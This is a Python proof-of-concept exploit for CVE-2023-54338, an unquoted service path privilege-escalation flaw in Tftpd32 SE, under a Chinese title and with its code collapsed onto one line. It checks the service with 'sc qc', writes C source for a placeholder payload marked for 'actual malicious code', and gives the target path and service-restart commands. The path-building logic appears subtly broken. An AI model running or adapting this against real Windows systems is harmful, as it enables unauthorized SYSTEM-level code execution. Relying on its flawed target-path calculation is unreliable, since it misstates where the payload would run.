CVE-2023-54338: Tftpd32 SE 未引号服务路径权限提升漏洞

# CVE-2023-54338 PoC - Unquoted Service Path Exploitation # This PoC demonstrates how to exploit the unquoted service path vulnerability in Tftpd32 SE import os import subprocess import sys def check_vulnerable_service(): """Check if Tftpd32 SE service exists and has unquoted path""" try: # Query service configuration using sc command result = subprocess.run( ['sc', 'qc', 'Tftpd32SE'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: # Extract the path and check if it's unquoted for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() if not path.startswith('"') and ' ' in path: print(f"[+] Vulnerable unquoted path detected: {path}") return path else: print(f"[-] Path is properly quoted or no spaces") return None else: print("[-] Tftpd32SE service not found") return None except Exception as e: print(f"[-] Error checking service: {e}") return None def create_payload(payload_path): """Create a malicious executable to place in the unquoted path""" # This would be replaced with actual malicious code in real attack # For demonstration, create a simple executable malicious_code = f''' #include <windows.h> #include <stdio.h> int main() {{ printf("CVE-2023-54338 exploited!\\n"); // Add malicious code here MessageBox(NULL, "System compromised via Tftpd32 SE!", "Exploit", MB_OK); return 0; }} ''' # Write the source code with open('exploit.c', 'w') as f: f.write(malicious_code) # Compile with mingw or similar (requires compiler) print(f"[*] Payload source written to exploit.c") print(f"[*] Compile and place at: {payload_path}") print(f"[*] Then restart the service: sc stop Tftpd32SE && sc start Tftpd32SE") def main(): print("=== CVE-2023-54338 Unquoted Service Path PoC ===\n") # Step 1: Check if vulnerable vulnerable_path = check_vulnerable_service() if vulnerable_path: # Step 2: Calculate the target path for placing malicious executable # Extract directory before the service executable name path_parts = vulnerable_path.split(' ') if len(path_parts) >= 2: # The directory containing spaces target_dir = ' '.join(path_parts[:-1]) # The name that will be used as the malicious executable malicious_name = path_parts[-1].split('.')[0] + '.exe' target_path = os.path.join(target_dir, malicious_name) print(f"\n[*] Target path for malicious executable: {target_path}") create_payload(target_path) else: print("\n[-] Target is not vulnerable or service not found") if __name__ == '__main__': main()